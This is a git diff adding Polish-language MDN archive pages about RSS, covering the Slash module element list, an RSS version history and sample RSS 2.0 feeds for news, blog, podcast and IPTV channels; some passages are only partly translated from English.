<td>wfw</td> <td> </td><td> </td><td>Joe Gregorio i Chris Sells</td> </tr>
+</tbody></table>
+{{ languages( { "en": "en/RSS/Module" } ) }}
diff --git a/files/pl/archive/rss/moduły/slash/elementy/index.html b/files/pl/archive/rss/moduły/slash/elementy/index.html
new file mode 100644
index 0000000000..92ba6aabd3
--- /dev/null
+++ b/files/pl/archive/rss/moduły/slash/elementy/index.html
@@ -0,0 +1,85 @@
+---
+title: Elementy
+slug: Archive/RSS/Moduły/Slash/Elementy
+tags:
+ - Dokumentacje
+ - Junk
+ - RSS
+ - 'RSS:Dokumentacje'
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Module/Slash/Element
+---
+<h2 id="Elementy_RSS_modu.C5.82u_Slash" name="Elementy_RSS_modu.C5.82u_Slash">Elementy RSS modułu Slash</h2>
+
+<div class="note">
+<p><strong>Notatka</strong>: Na liście elementów poniżej przestrzeń nazw XML jest użyta jako prefiks <strong>slash</strong> (od <strong>it is a popular choice)</strong>. Kiedykolwiek, użyjemy przestrzeń nazw jako prefiksu <strong>slash</strong> <strong>as the XML Namespace prefix is NOT necessary</strong>. Pozostawiamy Ci wolny wybór swojego prefiksu.</p>
+</div>
+
+<h3 id="A" name="A">A</h3>
+
+<h3 id="B" name="B">B</h3>
+
+<h3 id="C" name="C">C</h3>
+
+<ul>
+ <li><a href="pl/RSS/Modu%c5%82y/Slash/Elementy/comments">&lt;slash:comments&gt;</a> (<a href="pl/RSS/Modu%c5%82y/Slash/Elementy/comments">RSS Slash Module Comments Element</a>)</li>
+</ul>
+
+<h3 id="D" name="D">D</h3>
+
+<ul>
+ <li><a href="pl/RSS/Modu%c5%82y/Slash/Elementy/department">&lt;slash:department&gt;</a> (<a href="pl/RSS/Modu%c5%82y/Slash/Elementy/department">Element Department modułu Slash RSS</a>)</li>
+</ul>
+
+<h3 id="E" name="E">E</h3>
+
+<h3 id="F" name="F">F</h3>
+
+<h3 id="G" name="G">G</h3>
+
+<h3 id="H" name="H">H</h3>
+
+<ul>
+ <li><a href="pl/RSS/Modu%c5%82y/Slash/Elementy/hit_parade">&lt;slash:hit_parade&gt;</a> (<a href="pl/RSS/Modu%c5%82y/Slash/Elementy/hit_parade">RSS Slash Hit Parade Department Element</a>)</li>
+</ul>
+
+<h3 id="I" name="I">I</h3>
+
+<h3 id="J" name="J">J</h3>
+
+<h3 id="K" name="K">K</h3>
+
+<h3 id="L" name="L">L</h3>
+
+<h3 id="M" name="M">M</h3>
+
+<h3 id="N" name="N">N</h3>
+
+<h3 id="O" name="O">O</h3>
+
+<h3 id="P" name="P">P</h3>
+
+<h3 id="Q" name="Q">Q</h3>
+
+<h3 id="R" name="R">R</h3>
+
+<h3 id="S" name="S">S</h3>
+
+<ul>
+ <li><a href="pl/RSS/Modu%c5%82y/Slash/Elementy/section">&lt;slash:section&gt;</a> (<a href="pl/RSS/Modu%c5%82y/Slash/Elementy/section">RSS Slash Module Section Element</a>)</li>
+</ul>
+
+<h3 id="T" name="T">T</h3>
+
+<h3 id="U" name="U">U</h3>
+
+<h3 id="V" name="V">V</h3>
+
+<h3 id="W" name="W">W</h3>
+
+<h3 id="X" name="X">X</h3>
+
+<h3 id="Y" name="Y">Y</h3>
+
+<h3 id="Z" name="Z">Z</h3>
diff --git a/files/pl/archive/rss/moduły/slash/index.html b/files/pl/archive/rss/moduły/slash/index.html
new file mode 100644
index 0000000000..28730373ad
--- /dev/null
+++ b/files/pl/archive/rss/moduły/slash/index.html
@@ -0,0 +1,70 @@
+---
+title: Slash
+slug: Archive/RSS/Moduły/Slash
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Module/Slash
+---
+<div class="callout-box"><b><a href="pl/RSS/Modu%c5%82y/Slash/Na_pocz%c4%85tek">Na początek</a></b><br>
+<small>Przewodnik, który ma Ci pomóc w nauce modułu Slash RSS-a.</small></div>
+
+<p><b>RSS Slash Module</b> jest popularnym opartym na Slash blogu pomiędzy blogami imitując feel for Slashdot. Slash jest oparty na znanym silniku <a class="external" href="http://slashdot.org">Slashdot</a>.</p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Wybrane_artyku.C5.82y_UP_TO_10" name="Wybrane_artyku.C5.82y_UP_TO_10">Wybrane artykuły <span class="comment">UP TO 10</span></h4>
+
+ <dl>
+ <dt><a href="pl/RSS/Artyku%c5%82y/Why_RSS_Slash_is_Popular_-_Counting_Your_Comments">Why RSS Slash is Popular: Counting Your Comments</a></dt>
+ <dd><small>Charles Iliya Krempeaux talks about the RSS Slash Module, why it is popular among some, and how it is used to give a
+ <i>count</i>
+ for your comments (2005-08-22).</small></dd>
+ </dl>
+
+ <p> </p>
+ </td>
+ <td>
+ <h4 id="Referencje" name="Referencje">Referencje</h4>
+
+ <ul>
+ <li><a href="pl/RSS/Modu%c5%82y/Slash/Elementy">Lista elementów Slash modułu RSS</a></li>
+ </ul>
+
+ <h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4>
+
+ <ul>
+ <li>brak</li>
+ </ul>
+
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+
+ <ul>
+ <li>brak</li>
+ </ul>
+
+ <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4>
+
+ <ul>
+ <li>brak</li>
+ </ul>
+
+ <h4 id="Inne_.C5.BAr.C3.B3d.C5.82a" name="Inne_.C5.BAr.C3.B3d.C5.82a">Inne źródła</h4>
+
+ <ul>
+ <li><a class="external" href="http://purl.org/rss/1.0/modules/slash/">Moduł Slash RSS</a></li>
+ <li><a class="external" href="http://www.slashcode.com/">Slash</a></li>
+ <li><a class="external" href="http://slashdot.org/">Slashdot</a></li>
+ </ul>
+
+ <h4 id="Podobne_tematy" name="Podobne_tematy">Podobne tematy</h4>
+
+ <dl>
+ <dd><a href="pl/RSS">RSS</a>, <a href="pl/RDF">RDF</a>, <a href="pl/XML">XML</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/archive/rss/na_początek/czym_jest_rss/index.html b/files/pl/archive/rss/na_początek/czym_jest_rss/index.html
new file mode 100644
index 0000000000..ee8785d49d
--- /dev/null
+++ b/files/pl/archive/rss/na_początek/czym_jest_rss/index.html
@@ -0,0 +1,227 @@
+---
+title: Czym jest RSS
+slug: Archive/RSS/Na_początek/Czym_jest_RSS
+tags:
+ - 'RSS:Na_początek'
+translation_of: Archive/RSS/Getting_Started/What_is_RSS
+---
+<p>
+</p><p>Strona ta wyjaśnia, czym jest RSS. Jeszcze nie teraz będziesz mógł utworzyć swój własny plik RSS, lecz na razie spójrz jak się go zazwyczaj wykorzystuje i obejrzyj przykłady plików najczęściej używanych. Przeczytaj także krótką historię rozwoju plików RSS.
+</p>
+<h3 id="Czym_jest_RSS.3F" name="Czym_jest_RSS.3F"> Czym jest RSS? </h3>
+<p>Najbardziej popularną <a href="pl/RSS/Wersje">wersją RSS</a> są znaczniki <a href="pl/XML">XML</a> -języka używanego do syndykacji. (Chociaż istnieje format RSS opaty o <a href="pl/RDF">RDF</a>, to jest on wycofany <a href="pl/RSS/Wersje/0.90">RSS 0.90</a> i <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>.) Zwykle używamy syndykacji RSS dla pobrania nagłówków nowości ze stron internetowych, blogów, IPradio, i z IPTV.
+</p><p>Przewodnik ten uczy <a href="pl/RSS/Wersje/2.0">RSS 2.0</a>. Podejmuje on wysiłek nauki innych numerów <a href="pl/RSS/Wersje">wersji RSS</a>.
+</p><p>RSS prawie nigdy nie był tworzony ręcznie, lecz zawsze za pomocą oprogramowania znajdującego się po stronie serwera (server side - często napisanego w językach takich jak PHP, Java, C# lub Python) umieszczonych na serwerze strony. Jednakże, podczas nauki RSS-a, będziemy tworzyć skrypty RSS ręcznie.
+</p>
+<h3 id="Kr.C3.B3tka_historia_RSS" name="Kr.C3.B3tka_historia_RSS"> Krótka historia RSS </h3>
+<p>W marcu 1999 roku firma Netscape opublikowała <a href="pl/RSS/Wersje/0.90">RSS 0.90</a>. Był to o wiele, wiele inny RSS, niż ten dzisiejszy. Nie był on prawdziwym formatem syndykacji, ale był formatem, który dostarczał podsumowanie o stronie internetowej. Faktycznie nazwa RSS nie oznaczała <b>Really Simple Syndication</b> lecz w tym momencie miała znaczenie <b>Rich Site Summary</b>.
+</p><p>W czerwcu 1999 opublikowano <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>. Podobnie jak <a href="pl/RSS/Wersje/0.90">RSS 0.90</a>, RSS 0.91 firmy Netscape było formatem dostarczającym podsumowanie strony, i nie było ono w pełni formatem syndykacji (jak jest to dziś). Netscape utworzył RSS 0.91 uprościć jeszcze poprzedni kanał. RSS 0.90 był oparty <a href="pl/RDF">RDF</a> (wiele założeń miało budowę zbyt skomplikowaną.) Firma Netscape oparła RSS 0.91 tylko na <a href="pl/XML">XML</a> i dodaniu <a href="pl/DTD">DTD</a> dopuszczając kilka encji (średnio znanych w <a href="pl/HTML">HTML</a>).
+</p><p>W tym momencie Netscape wycofało oparty o <a href="pl/RDF">RDF</a>-a <a href="pl/RSS/Wersje/0.90">RSS 0.90</a> i narzuciło wszystkim używanie wersji <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>, która jest oparta na <a href="pl/XML">XML</a>.
+</p><p>W czerwcu 2000 została opublikowana wersja <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a>. (To znaczy, że istniały dwie różne wersje <a href="pl/RSS/Wersje/0.91">RSS 0.91</a>.) Różnica pomiędzy nimi, dwoma różnymi wersjami <a href="pl/RSS/Wersje/0.91">RSS 0.91</a> -- Firmy <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a> i firmy <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a> -- jest taka, że Userland RSS 0.91 nie posiada <a href="pl/DTD">DTD</a>, które posiada Netscape RSS 0.91; i nie zawiera w sobie dodatkowych encji, które ma Netscape RSS 0.91 (średnio znanych w <a href="pl/HTML">HTML</a>). Oprócz wspomianej różnicy, to są one identyczne. Technicznie mówiąc wersja firmy Userland RSS 0.91 jest podzbiorem wersji Netscape RSS 0.91.
+</p><p>W grudniu 2000 grupa robocza RSS-DEV opublikowała <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>. Ta wersja RSS była niedługo całkowicie oparta na <a href="pl/XML">XML</a>, ale oparto ją też na <a href="pl/RDF">RDF</a> (jak oryginalna, lecz już wycofana <a href="pl/RSS/Wersje/0.90">RSS 0.90</a>).Grupa robocza RSS-DEV zmieniła to, że to, co obsługiwało RSS, pozostało i stało się <b>RDF Site Summary</b>. (Ostatecznie to jest to, co zostało umieszczone w tej wersji RSS.)
+</p><p>W jednym momencie mieliśmy <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>, <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a>, i wersję opracowaną przez grupę roboczą RSS-DEV <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>.
+</p><p>Jeszcze tego samego miesiąca Userland opublikował <a href="pl/RSS/Wersje/0.92">RSS 0.92</a>. RSS 0.92 was meant to replace <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a>. (<b>If you notice though, the RSS versioning number got all messed up at this point. RSS 0.92 jest newer than</b> <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>.)
+</p><p>W tym momecie mieliśmy wersje RSS-a; <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>, wersje grupy roboczej RSS-DEV, czyli <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>, i Userland <a href="pl/RSS/Wersje/0.92">RSS 0.92</a>.
+</p><p>W kwietniu 2001 Userland opublikował draft wersji <a href="pl/RSS/Wersje/0.93">RSS 0.93</a>. Ta wersja RSS nigdy nie została ukończona i została wydana jedynie jako draft i nigdy nie stała się się wersją, która zastąpiłaby wersję firmy Userland <a href="pl/RSS/Wersje/0.92">RSS 0.92</a>.
+</p><p>W sierpniu 2002 Userland opublikował <b>draft?</b> wersji <a href="pl/RSS/Wersje/0.94">RSS 0.94</a>. Wersja <a href="pl/RSS/Wersje/0.93">RSS 0.93</a>, nigdy nie została ukończona i została wydana jedynie jako draft i nigdy nie stała się wersją, która zastąpiłaby wersję firmy Userland <a href="pl/RSS/Wersje/0.92">RSS 0.92</a>.
+</p><p>W tym momencie <em>wciąż</em> mieliśmy <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>, wersję grupy roboczej RSS-DEV <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>, i wersje Userland <a href="pl/RSS/Wersje/0.92">RSS 0.92</a>. (Pomimo, że niektórzy używali <a href="pl/RSS/Wersje/0.93">RSS 0.93</a> i <a href="pl/RSS/Wersje/0.94">RSS 0.94</a> pomimo tego, że nie były one wspierane).
+</p><p>We wrześniu 2002 Userland opublikował <a href="pl/RSS/Wersje/2.0">RSS 2.0</a>. RSS 2.0 miało być wersją która zastąpi <a href="pl/RSS/Wersje/0.92">RSS 0.92</a> (drafty <a href="pl/RSS/Wersje/0.93">RSS 0.93</a> i <a href="pl/RSS/Wersje/0.94">RSS 0.94</a> nie były wspierane). Userland postanowiło użyć takiego numeru wersji <b>2.0</b>, ponieważ grupa robocza RSS-DEV w tym czasie wydała wersje <b>1.0</b> opartą na <a href="pl/RDF">RDF</a> <a href="pl/RSS/Wersje/1.0">RSS 1.0</a>.
+</p><p>W tym momencie mieliśmy dostępne wersje: <a href="pl/RSS/Wersje/0.91/Netscape">Netscape RSS 0.91</a>, wersje grupy roboczej RSS-DEV <a href="pl/RSS/Wersje/1.0">RSS 1.0</a> i firmy Userland <a href="pl/RSS/Wersje/2.0">RSS 2.0</a>.
+</p><p>Historia ta nie ma krótkiego końca. Raz w listopadzie 2002 i jeszcze raz w styczniu 2003 roku, specyfikacja <a href="pl/RSS/Wersja/2.0">RSS 2.0</a> została zmieniona przez firmę Userland. Poprzez wprowadzenie wszystkich zmian w porównaniu do poprzednich wersji, została wprowadzona nazwa RSS 2.0 dla elementów <a href="pl/RSS/Elementy/rss">&lt;rss&gt;</a>.
+</p><p>Aktualnie, na dzisiejszy dzień, wciąż mamy wersję <a href="pl/RSS/Wersje/0.91/Netscape">Netscape's RSS 0.91</a> (Netscape nigdy jej nie wycofał), lecz jest on znikomo używany. Bardziej popularną wersją opartą także na <a href="pl/RDF">RDF</a> <a href="pl/RSS/Wersja/1.0">RSS 1.0</a> lub opartą o <a href="pl/XML">XML</a> <a href="pl/RSS/Wersja/2.0">RSS 2.0</a>. Opartą o XML jest RSS 2.0, która jest najbardziej popularną wersją. (Ten kurs pokazuje zastosowanie <a href="pl/RSS/Wersje/2.0">RSS 2.0</a>).
+</p>
+<h3 id="Jak_u.C5.BCywamy_RSS_dzisiaj" name="Jak_u.C5.BCywamy_RSS_dzisiaj"> Jak używamy RSS dzisiaj </h3>
+<p>Dziś, RSS jest najczęściej wykorzystywany do syndykacji. Syndykacja jest to proces mówiący innym, że zostało umieszczona nowa zawartość np. tekstu do przeczytania. Innymi słowami: kiedy używasz syndykacji, mówisz wszystkim mniej więcej coś takiego: "Cześć wszystkim. Mam napisany artykuł, który chce abyście przeczytali po wejściu na moją stronę. Wystarczy tylko zasubskrybować mój kanał RSS i mieli zawsze możliwość pobrania najnowszych nagłówków moich artykułów".
+</p>
+<div class="note">
+<p><b>Uwaga</b>: Jeśli dostarczasz kanał RSS nie zabezpieczony hasłem, to bez żadnych zastrzeżeń dajesz wszystkim dostęp do zawartości kanału RSS w prawie każdej postaci jak użytkownicy chcą go przeglądać. Użytkownik może go czytać. Może utworzyć jego lokalną kopię. Może dzielić localną kopię z innym użytkownikiem. Może także używać go na innej stronie internetowej. Może on nawet <b>re-syndicated it</b>, i wiele więcej.
+</p><p>Jeśli nie chcesz, aby którykolwiek z powyższych przypadków był wykonany, to nie twórz kanału RSS niezabezpieczonego hasłem (Oczywiście nie twórz publicznego hasła.)
+</p>
+</div>
+<p>Nowości ze stron internetowych używają kanału RSS do dostarczenia każdemu, kto się wpisał na listę najnowszych artykułów. Na przykład:
+</p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+
+ &lt;rss version="2.0"&gt;
+
+ &lt;channel&gt;
+ &lt;title&gt;Example News Site&lt;/title&gt;
+ &lt;description&gt;This is an Example News Site.&lt;/description&gt;
+ &lt;lastBuildDate&gt;Wed, 27 Jul 2005 00:30:30 -0700&lt;/lastBuildDate&gt;
+ &lt;link&gt;http://news.example.com/&lt;/link&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;News Flash: I Like Bread&lt;/title&gt;
+ &lt;guid&gt;4d4a0a12-f188-4c97-908b-eea27213c2fe&lt;/guid&gt;
+ &lt;pubDate&gt;Wed, 27 Jul 2005 00:30:30 -0700&lt;/pubDate&gt;
+ &lt;link&gt;http://news.example.com/artcle/554&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Big News Today: Birds Fly&lt;/title&gt;
+ &lt;guid&gt;c4a63f09-b45b-466b-8773-6ff264001ab7&lt;/guid&gt;
+ &lt;pubDate&gt;Tue, 19 Jul 2005 04:32:51 -0700&lt;/pubDate&gt;
+ &lt;link&gt;http://news.example.com/artcle/553&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Fire is Hot&lt;/title&gt;
+ &lt;guid&gt;c1795324-d5ea-44fa-95b1-b5ce2090d4f1&lt;/guid&gt;
+ &lt;pubDate&gt;Sun, 15 May 2005 13:02:08 -0700&lt;/pubDate&gt;
+ &lt;link&gt;http://news.example.com/artcle/552&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;/channel&gt;
+
+ &lt;/rss&gt;
+ </span>
+</pre>
+<p>Osoby prowadzące własnego bloga używają RSS, aby dostarczać każdemu, kto znajduje się na ich liście służącej do powiadomienia o najnowszym zamieszczonym poście. Na przykład: </p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+
+ &lt;rss version="2.0"&gt;
+
+ &lt;channel&gt;
+ &lt;title&gt;Joe Blow's Blog&lt;/title&gt;
+ &lt;description&gt;This is the Weblog of Joe Blow&lt;/description&gt;
+ &lt;lastBuildDate&gt;Sun, 15 May 2005 13:02:08 -0500&lt;/lastBuildDate&gt;
+ &lt;link&gt;http://joe-blow.example.net/&lt;/link&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;I Be Blogging...&lt;/title&gt;
+ &lt;guid&gt;http://joe-blow.example.net/log/21&lt;/guid&gt;
+ &lt;pubDate&gt;Sun, 15 May 2005 13:02:08 -0500&lt;/pubDate&gt;
+ &lt;link&gt;http://joe-blow.example.net/log/21&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;I am so SMRT&lt;/title&gt;
+ &lt;guid&gt;http://joe-blow.example.net/log/20&lt;/guid&gt;
+ &lt;pubDate&gt;Sat, 14 May 2005 22:19:18 -0500&lt;/pubDate&gt;
+ &lt;link&gt;http://joe-blow.example.net/log/20&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Huh?&lt;/title&gt;
+ &lt;guid&gt;http://joe-blow.example.net/log/19&lt;/guid&gt;
+ &lt;pubDate&gt;Sat, 14 May 2005 09:55:59 -0500&lt;/pubDate&gt;
+ &lt;link&gt;http://joe-blow.example.net/log/19&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Black Cat Spotted&lt;/title&gt;
+ &lt;guid&gt;http://joe-blow.example.net/log/18&lt;/guid&gt;
+ &lt;pubDate&gt;Fri, 13 May 2005 13:13:13 -0500&lt;/pubDate&gt;
+ &lt;link&gt;http://joe-blow.example.net/log/18&lt;/link&gt;
+ &lt;/item&gt;
+ &lt;/channel&gt;
+
+ &lt;/rss&gt;
+ </span>
+</pre>
+<p>Ci, co tworzą IPradio pozwalając używać RSS do transmisji ich przedstawienia. Na przykład: </p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+
+ &lt;rss version="2.0"&gt;
+
+ &lt;channel&gt;
+ &lt;title&gt;Joe's IPradio Show&lt;/title&gt;
+ &lt;description&gt;The best IPradio Show on the Internet, staring Joe!&lt;/description&gt;
+ &lt;lastBuildDate&gt;Mon, 15 Aug 2005 16:12:37 -0400&lt;/lastBuildDate&gt;
+ &lt;link&gt;http://joe.ipradio.example.net/&lt;/link&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;I C UR Tan Line&lt;/title&gt;
+ &lt;guid&gt;http://joe.ipradio.example.net/show/55&lt;/guid&gt;
+ &lt;pubDate&gt;Mon, 15 Aug 2005 16:11:57 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://joe.ipradio.example.net/show/55"
+ length="4487216"
+ type="application/ogg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Car Care for Car Fanatics&lt;/title&gt;
+ &lt;guid&gt;http://joe.ipradio.example.net/show/54&lt;/guid&gt;
+ &lt;pubDate&gt;Mon, 8 Aug 2005 13:12:12 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://joe.ipradio.example.net/show/54"
+ length="4892178"
+ type="audio/x-mp3"
+ /&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Best Beaches in BC&lt;/title&gt;
+ &lt;guid&gt;http://joe.ipradio.example.net/show/53&lt;/guid&gt;
+ &lt;pubDate&gt;Mon, 1 Aug 2005 18:22:14 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://joe.ipradio.example.net/show/53"
+ length="3984215"
+ type="application/ogg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;/channel&gt;
+
+ &lt;/rss&gt;
+ </span>
+</pre>
+<div class="note">
+<p><b>Uwaga</b>: Transmisja radia Internetowego jest czasami nazywana <em>Podcasting</em>, <em>IPradio</em>, i <em>Audio Blogging</em>.
+</p>
+</div>
+<p>Ten, kto tworzy Internetową telewizję stosuje RSS pozwalając pokazywać użytkownikom co jest transmitowane. Na przykład:
+</p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+
+ &lt;rss version="2.0"&gt;
+
+ &lt;channel&gt;
+ &lt;title&gt;Kate's IPTV Show&lt;/title&gt;
+ &lt;description&gt;Watch it or else! You know you want to.&lt;/description&gt;
+ &lt;lastBuildDate&gt;Tue, 23 Aug 2005 21:02:05 -0800&lt;/lastBuildDate&gt;
+ &lt;link&gt;http://katetv.example.com/&lt;/link&gt;
+
+ &lt;item&gt;
+ &lt;title&gt;This is Fun&lt;/title&gt;
+ &lt;guid&gt;http://katetv.example.com/show/4&lt;/guid&gt;
+ &lt;pubDate&gt;Tue, 23 Aug 2005 21:02:05 -0800&lt;/pubDate&gt;
+ &lt;enclosure url="http://katetv.example.com/show/4"
+ length="1911146"
+ type="application/ogg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Watch This&lt;/title&gt;
+ &lt;guid&gt;http://katetv.example.com/show/3&lt;/guid&gt;
+ &lt;pubDate&gt;Tue, 16 Aug 2005 16:11:57 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://katetv.example.com/show/3"
+ length="1387442"
+ type="application/ogg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;It is me again&lt;/title&gt;
+ &lt;guid&gt;http://katetv.example.com/show/2&lt;/guid&gt;
+ &lt;pubDate&gt;Tue, 9 Aug 2005 13:12:12 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://katetv.example.com/show/2"
+ length="1894877"
+ type="video/mpeg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;item&gt;
+ &lt;title&gt;Hello&lt;/title&gt;
+ &lt;guid&gt;http://katetv.example.com/show/1&lt;/guid&gt;
+ &lt;pubDate&gt;Tue, 2 Aug 2005 18:22:14 -0400&lt;/pubDate&gt;
+ &lt;enclosure url="http://katetv.example.com/show/1"
+ length="17442215"
+ type="application/ogg"
+ /&gt;
+ &lt;/item&gt;
+ &lt;/channel&gt;
+
+ &lt;/rss&gt;
+ </span>
+</pre>
+<p>Przezorny czytnik może powiadomić, że przykłady <i>strona internetowa z nowościami</i> i <i>blogger</i> są tego samego typu RSS i także przykłady <i>radio internetowe</i> i <i>telewizja internetowa</i> są tego samego typu RSS. Faktycznie, prawdziwą różnicą pomiędzy newsami/blogami zawierającymi kanały RSS i tymi zawierającymi RSS kanałami radio/telewizja internetowa,jest taka, że kanały RSS nowości/blogi używają elementu <a href="pl/RSS/Elementy/link">&lt;link&gt;</a> i internetowe radio/telewizja używają elementu RSS <a href="pl/RSS/Elementy/enclosure">&lt;enclosure&gt;</a>.
+</p>
+<div class="note">
+<p><b>Uwaga</b>: Te przykłady RSS są bardzo, bardzo proste, i zostały zaprojektowane tylko dla pokazania przykładów RSS, jak one wyglądają. Wszystkie przykłady RSS są minimimalne. Kiedy będziesz tworzył swój własny kanał RSS, będziesz chciał zrobić bardziej złożony i zawierający dodatkowe <a href="pl/RSS/Elementy">elementy RSS</a> oraz zawierający rozmaite <a href="pl/RSS/Modu%c5%82y">moduły RSS</a>.
+</p>
+</div>
+<p>{{ Next("RSS:Na początek:Dlaczego używamy RSS") }}
+</p>{{ languages( { "en": "en/RSS/Getting_Started/What_is_RSS", "fr": "fr/RSS/Premiers_pas/Pr\u00e9sentation_de_RSS" } ) }}
diff --git a/files/pl/archive/rss/na_początek/dlaczego_używamy_rss/index.html b/files/pl/archive/rss/na_początek/dlaczego_używamy_rss/index.html
new file mode 100644
index 0000000000..0a19b5c5d2
--- /dev/null
+++ b/files/pl/archive/rss/na_początek/dlaczego_używamy_rss/index.html
@@ -0,0 +1,22 @@
+---
+title: Dlaczego używamy RSS
+slug: Archive/RSS/Na_początek/Dlaczego_używamy_RSS
+tags:
+ - RSS
+ - 'RSS:Na_początek'
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Getting_Started/Why_use_RSS
+---
+<p>
+</p><p>Strona ta wyjaśnia, dlaczego możesz chcieć użyć RSS. W tym artykule jeszcze nie pokażemy w jaki sposób tworzyć własne pliki RSS, ale powiemy Ci, dlaczego warto go użyć. </p>
+<h3 id="Dlaczego_u.C5.BCywamy_RSS.3F" name="Dlaczego_u.C5.BCywamy_RSS.3F"> Dlaczego używamy RSS? </h3>
+<p>Jeśli czytasz ten tekst, prawdopodobnie masz już swój powód, dla którego chcesz użyć RSS. Tak naprawdę jest wiele przyczyn, które przemawiają za użyciem RSS. Ale (najogólniej mówiąc) decydują o tym dwie największe przyczyny: 1: (oczywiście używamy tylko gdy) zaspokaja nasze potrzeby
+2: posiada on ogromną siłę rozpędu - używają go już wszyscy.
+</p><p>RSS ma ogromną siłę rozpędu. Ludzie używają go do syndykacji różnych rzeczy. Nowe artykuły, blogi, zakładki, radio internetowe, internetowa telewizja, aktualizacje oprogramowania, e-maile, listy mailingowe, muzyczne playlisty i wiele więcej. Jeśli jest wyświetlane co jakiś czas, to możesz być syndykowane za pomocą RSS. </p><p>Oprogramowanie, które potrafi czytać i wyświetlać RSS, jest niemal wszędzie. Mozilla Firefox obsługuje RSS (wspiera RSS poprzez technologię "dynamicznych zakładek" - Live Bookmark). Jest tak wiele agregatorów RSS, że trudno je zliczyć. Również różne oprogramowanie używa RSS.
+</p>
+<h3 id="Agregatory_RSS_s.C4.85_wsz.C4.99dzie" name="Agregatory_RSS_s.C4.85_wsz.C4.99dzie"> Agregatory RSS są wszędzie </h3>
+<p>Jednym z powodów używania RSS do syndykacji jest mnogość agregatorów RSS
+(zbyt wiele, by je wszystkie spisać). Jeśli używasz syndykacji z pomocą RSS, wtedy wszystkie te agregatory RSS mogą używać oraz odczytywać twoje wątki RSS.
+</p><p><br>
+{{ PreviousNext("RSS:Na początek:Czym jest RSS", "RSS:Na początek:Jak działa RSS") }}
+</p>{{ languages( { "fr": "fr/RSS/Premiers_pas/Pourquoi_utiliser_RSS", "en": "en/RSS/Getting_Started/Why_use_RSS" } ) }}
diff --git a/files/pl/archive/rss/na_początek/index.html b/files/pl/archive/rss/na_początek/index.html
new file mode 100644
index 0000000000..fca98e0922
--- /dev/null
+++ b/files/pl/archive/rss/na_początek/index.html
@@ -0,0 +1,54 @@
+---
+title: Na początek
+slug: Archive/RSS/Na_początek
+tags:
+ - RSS
+ - 'RSS:Na_początek'
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Getting_Started
+---
+<p>
+</p>
+<h3 id="Wprowadzenie" name="Wprowadzenie"> Wprowadzenie </h3>
+<p>Przewodnik ten jest wprowadzeniem do <b>Really Simple Syndication</b> (<b>RSS</b>).
+</p><p>Przeprowadzi Cię on krok po kroku przez podstawy RSS i zaprezentuje przykłady w akcji. W tym przewodniku zastosowana została znana mantra, mówiąca że "najlepszym sposobem nauki jest zrobienie czegoś". Z tego powodu będziesz sam tworzył pliki RSS. </p>
+<h4 id="Kto_powinien_skorzysta.C4.87_z_przewodnika.3F" name="Kto_powinien_skorzysta.C4.87_z_przewodnika.3F"> Kto powinien skorzystać z przewodnika? </h4>
+<p>Ten przewodnik jest w większości przeznaczony dla osób zaczynających naukę RSS (to znaczy osób, które nie miały lub mają nieznaczne doświadczenie w RSS). Jednak również osoby doświadczone mogą uznać ten przewodnik za pomocny, gdyż może on im pomóc uzupełnić ich informacje o RSS lub posłużyć jako przypomnienie.
